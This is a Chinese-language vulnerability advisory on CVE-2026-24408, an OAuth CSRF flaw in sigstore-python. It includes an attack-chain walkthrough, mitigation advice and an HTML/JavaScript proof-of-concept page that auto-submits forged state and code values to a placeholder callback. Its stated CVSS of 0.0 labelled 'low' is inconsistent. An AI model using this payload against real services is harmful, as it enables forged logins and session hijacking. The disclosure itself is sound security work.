IPBUF安全漏洞报告
English
CVE-2026-24408 CVSS 0.0 低危

CVE-2026-24408 sigstore-python OAuth CSRF跨站请求伪造漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24408
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
0.0 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
sigstore-python

相关标签

CSRFOAuth跨站请求伪造sigstore-python认证绕过状态参数未验证Sigstore签名

漏洞概述

CVE-2026-24408是sigstore-python项目中的一个跨站请求伪造(CSRF)漏洞。sigstore-python是一个用于生成和验证Sigstore签名的Python工具。该漏洞存在于OAuth认证流程中,具体表现为OAuthSession类在发起认证请求时会创建一个唯一的"state"参数并包含在认证请求中,但在验证服务器响应时并未对该state参数进行交叉验证。由于缺少这一关键验证步骤,攻击者可以构造恶意页面诱导已登录用户在不知情的情况下完成认证请求,从而可能导致会话被劫持或权限被滥用。该漏洞影响4.2.0之前的所有版本,攻击者利用此漏洞需要诱导用户访问恶意页面并完成交互操作。

技术细节

在sigstore-python的OAuth认证实现中,_OAuthSession类负责处理OAuth 2.0认证流程。当发起认证请求时,代码会生成一个随机的state参数用于防止CSRF攻击,并将该参数附加到认证URL中。然而,在接收OAuth服务器回调时,代码未能验证返回的state参数是否与之前生成的参数相匹配。这一缺陷使得攻击者可以创建一个钓鱼页面,包含一个自动提交的表单,该表单模拟正常的OAuth认证请求。由于浏览器会自动携带用户的认证Cookie,攻击者的恶意请求将在用户不知情的情况下被服务器接受。攻击成功的关键在于:(1)用户已登录sigstore-python相关服务;(2)用户访问攻击者控制的恶意页面;(3)恶意页面自动触发OAuth认证请求;(4)服务器因缺少state验证而接受伪造的请求。

攻击链分析

STEP 1
步骤1
攻击者创建恶意网页,包含自动提交的表单,模拟sigstore-python的OAuth回调请求
STEP 2
步骤2
诱导已登录sigstore-python服务的用户访问该恶意页面
STEP 3
步骤3
恶意页面自动向OAuth回调端点发送POST请求,携带攻击者控制的state和code参数
STEP 4
步骤4
服务器由于未验证state参数,直接接受请求并建立攻击者的认证会话
STEP 5
步骤5
攻击者获得sigstore-python服务的访问权限,可执行签名验证等操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-24408 CSRF PoC for sigstore-python OAuth --> <!DOCTYPE html> <html> <head> <title>Sigstore OAuth CSRF PoC</title> </head> <body> <h2>Sigstore OAuth CSRF Attack PoC</h2> <p>This PoC demonstrates the CSRF vulnerability in sigstore-python OAuth flow.</p> <script> // Malicious OAuth callback parameters const fakeState = 'attacker_controlled_state_' + Math.random().toString(36).substring(7); const fakeCode = 'attacker_obtained_authorization_code'; // In real attack, this would point to sigstore-python's OAuth callback endpoint // The server accepts this request without validating the 'state' parameter const oauthCallbackUrl = 'https://sigstore-service.example.com/oauth/callback'; // Auto-submit form to trigger OAuth callback with attacker-controlled parameters document.write(` <form id="csrfForm" action="${oauthCallbackUrl}" method="POST"> <input type="hidden" name="state" value="${fakeState}" /> <input type="hidden" name="code" value="${fakeCode}" /> </form> `); // Auto-submit on page load window.onload = function() { document.getElementById('csrfForm').submit(); }; </script> <noscript> <form id="csrfForm" action="https://sigstore-service.example.com/oauth/callback" method="POST"> <input type="hidden" name="state" value="malicious_state_value" /> <input type="hidden" name="code" value="malicious_code" /> <button type="submit">Click to continue</button> </form> </noscript> </body> </html>

影响范围

sigstore-python < 4.2.0

防御指南

临时缓解措施
如果无法立即升级,可通过确保OAuth回调端点严格验证state参数来缓解风险。建议在生产环境中使用最新的sigstore-python版本,并监控异常的OAuth认证行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表